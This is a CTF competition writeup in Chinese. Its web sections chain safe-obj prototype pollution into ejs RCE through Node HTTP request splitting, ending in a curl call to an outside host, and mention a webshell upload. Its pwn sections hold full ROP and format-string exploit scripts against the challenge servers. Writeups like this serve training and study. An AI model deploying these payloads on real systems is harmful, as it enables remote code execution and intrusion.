西湖论剑 2023 预赛 writeup

WEB

Web1

[nodejs|原型链污染|ejs|拆分攻击]

前言

主要是node 8.12.0的一个http.get解析洞,通过拆分攻击实现的SSRF攻击

和ejs RCE+safeobj原型链污染(CVE-2021-25928)

查了下这种属于拆分攻击(HTTP Splitting),和请求走私(HTTP Smuggling)有点区别。

RCE

这里一开始挺简单,有个safeobj包,一看safeobj.expand(),游戏结束。

拿着POC测试了下环境,通过。

1
2
3
4
5
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

网上有很多payload,以下两个都可以,后面的字样无所谓,主要是_tmp1;前面一定要有填充字符。

1
2
{"constructor.prototype.outputFunctionName":"_tmp1;process.mainModule.require('child_process').exec('calc')"}
{"constructor.prototype.outputFunctionName":"_tmp1;glabol.process.mainModule.require('child_process').exec('calc')"}

由于自作聪明,将_tmp1;填充数据删除,本地弹了计算器,打远程靶机失败。

拆分攻击

在这里浪费了很多时间,折腾几个小时发现原来是本地node版本忘记换了。

可以用nc看包的形状,方便构造

比如先这么构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import urllib.parse

payload = ''' HTTP/1.1

GET /copy HTTP/1.1
Host: 127.0.0.1:8001
'''.replace("\n", "\r\n")


def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret


payload = payload_encode(payload)
print(payload)
#ĠňŔŔŐįıĮıčĊčĊŇŅŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺĸİİıčĊ

然后nodejs执行

1
2
3
4
const http = require('http')
url = "http://127.0.0.1:8000/?q="
q = "ĠňŔŔŐįıĮıčĊčĊŇŅŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺĸİİıčĊ"
http.get(url + q)

会发现nc -lvvp 8000收到包请求。(注意,此时8001端口不会收到请求,因为没有东西去处理第二个包!!!!!!!在这又浪费好多时间)

此时就可以根据包情况调整,显然上方的包缺了个GET /加上去后如下:

掌握该技巧可以便于HTTP走私/HTTP拆分构造,当然第三个请求可以直接用Connection: close处理。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 151

{"constructor.prototype.outputFunctionName":"_tmp1;process.mainModule.require('child_process').exec('curl https://as564d1gads.free.beeceptor.com/1')"}
'''.replace("\n", "\r\n")


def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret


payload = payload_encode(payload)

r = requests.get('http://127.0.0.1:3000/curl?q=' + urllib.parse.quote(payload))
print(r.text)
注意点

1.直接给/copy发包,会弹计算器。但是通过拆分攻击不会!因此浪费一个下午!

其实问题还是在于出现访问/?q=的请求,以为请求包构造有误。

2.第二个请求中的HOST无论是Host: 127.0.0.1还是Host: 127.0.0.1:3000皆测试通过,原因未知。

3.网上文章有关以下两段payload编码方案说是等价,实测第一种无法命令执行(nc查看包,拆分无误),在这个地方又浪费好多时间。

1
2
3
4
5
6
7
8
9
10
11
12
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d')
1
2
3
4
5
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret

4.Content-Length如果和请求体长度相差较大会有影响,相差一两个无所谓。所以尽量还是精准计算。

5.第二个请求加上Connection: close就不需要闭合后面的请求。经过多次测试,目前不加Connection: close而去闭合第三个请求暂未成功。

Web3

这题有点奇怪,上来上传文件,提示multipart/form-data,随便改了下大小写,给flag了。

Web5

能任意读文件,先试试读 flag,发现是权限不够。

能上传文件,嵌入 html

1
2
3
4
5
<form enctype="multipart/form-data" method="post" action="/?a=upload">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="file"/>
<input class="button" type="submit" name="submit" value="上传" />
</form>

发现上传 php 之后无法解析,那么只能看看它是不是装了一些扩展,有一个 zend_test,直接去下载它的 so 源码。

1
2
3
4
5
6
7
8
9
10
11
from requests import *
url='http://80.endpoint-ac92aedd97164b2c88bc90db78453a9d.m.ins.cloud.dasctf.com:81/?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so'
p=get(url)

s=p.content
s=s[s.find(b'\x7fELF'):]
f=open('zend.so','wb+')

f.write(s)
f.close()

ida逆向一下,发现它对文件进行了 RC4 加密,key是 abcsdfadfjiweur,那么我也想着对我们的 php 文件进行 RC4 加密之后丢上去。

发现成功解析,直接上蚁剑,但是 flag 还是不能读,还以为要内核cve,后来发现 sudo 改了权限可以直接读。

Web6

[nodejs]

flag1毫无难度

flag2要求验证checkcode,长度为16,且checkcode==aGr5AtSp55dRacer

因为有个大小写转换函数toLowerCase(),所以无法直接匹配

根据js弱类型判定

1
2
3
var obj = ["1"]
console.log(typeof obj);//object
console.log(obj == "1");//true

所以输个字符串数组即可。

1
"a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"

PWN

baby calc

利用 off by null 漏洞和变量覆盖,修改 i 到返回地址,把返回指令修改成 leave ret 进行栈迁移。提前布置好 rop 链,第一次泄露地址,第二次 getshell。

因为某个函数调用存在栈对齐,因此返回 main 的时候要往后移一个字节少 push 一个寄存器。

返回的时候有一个数字判断,这个直接算然后一次填充完就好了。

z3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from z3 import *
s=Solver()
v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints('v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18')
s.add(v3==19)
s.add(v5 * v4 * v3 - v6 == 36182)
s.add( v5 * 19 * v4 + v6 == 36322)
s.add( (v13 + v3 - v8) * v16 == 32835)
s.add( (v4 * v3 - v5) * v6 == 44170)
s.add( (v5 + v4 * v3) * v6 == 51590)
s.add( v9 * v8 * v7 - v10 == 61549)
s.add( v10 * v15 + v4 + v18 == 19037)
s.add( v9 * v8 * v7 + v10 == 61871)
s.add( (v8 * v7 - v9) * v10 == 581693)
s.add( v11 == 50)
s.add( (v9 + v8 * v7) * v10 == 587167)
s.add( v13 * v12 * v11 - v14 == 1388499)
s.add( v13 * v12 * v11 + v14 == 1388701)
s.add( (v12 * v11 - v13) * v14 == 640138)
s.add( (v11 * v5 - v16) * v12 == 321081)
s.add( (v13 + v12 * v11) * v14 == 682962)
s.add( v17 * v16 * v15 - v18 == 563565)
s.add( v17 * v16 * v15 + v18 == 563571)
s.add( v14 == 101)
s.add( (v16 * v15 - v17) * v18 == 70374)
s.add( (v17 + v16 * v15) * v18 == 70518 )
print(s.check())
print(s.model())

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level='debug'

pop_rdi=0x0000000000400ca3
main=0x400c1a
sh=0
sys=0
def conn(x,filename):
if x:
p=process(filename)
else:
p=remote('tcp.cloud.dasctf.com',22391)
return p,ELF(filename),ELF('./libc/libc-2.23-64.so')
def sendnum(x,offset,flag):
p.recvuntil(b':')
payload=str(x).encode()
payload=payload.ljust(0x8,b'\0')
payload+=p64(0x400c19)*(25-4)
if flag==0:
payload+=p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main+1)
else:
payload+=p64(pop_rdi)+p64(sh)+p64(sys)+p64(main+1)
payload+=buf
payload=payload.ljust(0xf8+4,b'e')
payload+=p32(offset)
p.send(payload)
v12 = 131
v6 = 70
v10 = 161
v16 = 199
v18 = 3
v3 = 19
v5 = 53
v13 = 212
v7 = 55
v9 = 17
v11 = 50
v17 = 24
v4 = 36
v14 = 101
v15 = 118
v8 = 66
buf=p8(v3)+p8(v4)+p8(v5)+p8(v6)+p8(v7)+p8(v8)+p8(v9)+p8(v10)+p8(v11)+p8(v12)+p8(v13)+p8(v14)+p8(v15)+p8(v16)+p8(v17)+p8(v18)
p,elf,libc=conn(0,'./babycalc')
#for i in range(14):
sendnum(0x18,0x38,0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-libc.sym['puts']
success('libc_addr: '+hex(libc_addr))
sh=libc_addr+libc.search(b'/bin/sh').__next__()
sys=libc_addr+libc.sym['system']
#gdb.attach(p,'b *0x400bb8')
sendnum(0x18,0x38,1)
p.interactive()

因为栈地址不确定,所以exp有概率失败,在上面填充很多 ret 增加成功率,地址泄露题目版本为 2.23-0ubuntu11.3

Message

先利用格式化字符串漏洞泄露栈地址和堆地址,然后利用栈迁移 orw 去读取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level='debug'
leave=0x00000000004012e1
pop_rdi=0x0000000000401413
def conn(x,filename):
if x:
p=process(filename)
libc=ELF('./libc-2.31.so')
else:
p=remote('tcp.cloud.dasctf.com',20585)
libc=ELF('./libc-2.31.so')
return p,ELF(filename),libc
p,elf,libc=conn(0,'./pwn')
p.sendafter(b'name:','%p%24$p')

p.recvuntil('0x')
stack_addr=int(p.recv(12),16)+0xc0
success('libc_addr: '+hex(stack_addr))

p.recvuntil('0x')
libc_addr=int(p.recv(12),16)-0x1f42e8+0x3000
success('libc_addr: '+hex(libc_addr))

pop_rsi=libc_addr+0x000000000002601f
pop_rdx=libc_addr+0x0000000000142c92
op=libc.sym['open']+libc_addr
wr=libc.sym['write']+libc_addr
flag=stack_addr-0xb0


payload=(b'/flag\0\0\0'+\
p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(op)+\
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x90)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['read'])+\
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack_addr+0x90)+p64(pop_rdx)+p64(0x30)+p64(wr)).ljust(0xb0,b'a')+p64(stack_addr-0xb0)+p64(leave)

#gdb.attach(p)
p.sendafter(b'DASCTF:',payload)


p.interactive()

MISC

签到题喵

图片后面有一串多余的字符串,拿出来转换一下

然后获得flag

mp3

方向错了,一开始以为是频谱隐写,结合文件名cihper,Windows的确有个cipher.exe的工具,但是只是一个文件加密工具,把能试的工具都试了一遍,发现foremost分离出一张图片

zsteg看出有个通道有zip文件,提取一下

但发现解压需要密码,密码一定藏在文件里

这时候想到mp3隐写有个对口工具了,在wav压缩到到mp3的过程中隐藏数据

拿到这一串,应该就是压缩包密码了(好险,这要是暴力破解得跑到什么时候

解压得到这么一串,感觉没什么头绪,mp3文件名意为密码,应该需要解码,但加密方式那么多,到底是哪个

在工具中搜索47发现有个rot47匹配,解密出来也是一大串

同队大佬提醒这个很像某脚本或者命令(难道是因为后面有分号吗

在各种编程软件和命令行里奔跑一下,最后在控制台得出结果

take_the_zip_easy

压缩包是加密的,压缩包内有一个和流量包名字相同的压缩包

确定是明文攻击,上工具

然后用密钥把文件取出来

检查发现http中含有post请求,筛选一下发现对upload有上传文件操作,把文件提取出来

发现有个瞩目的zip文件,结合题目名称,此压缩文件内含flag,但压缩包是加密的

尝试了各种压缩包解密,都行不通,检查流量包的时候发现有冰蝎和哥斯拉流量的弱标志,逐个仔细检查发现是哥斯拉流量加密

用脚本解密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';

echo encode(base64_decode(urldecode('J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3')),$key);

?>

得到压缩包密码airDAS1231qaSW@,解压一下拿到flag,使用记事本打开就拿到了结果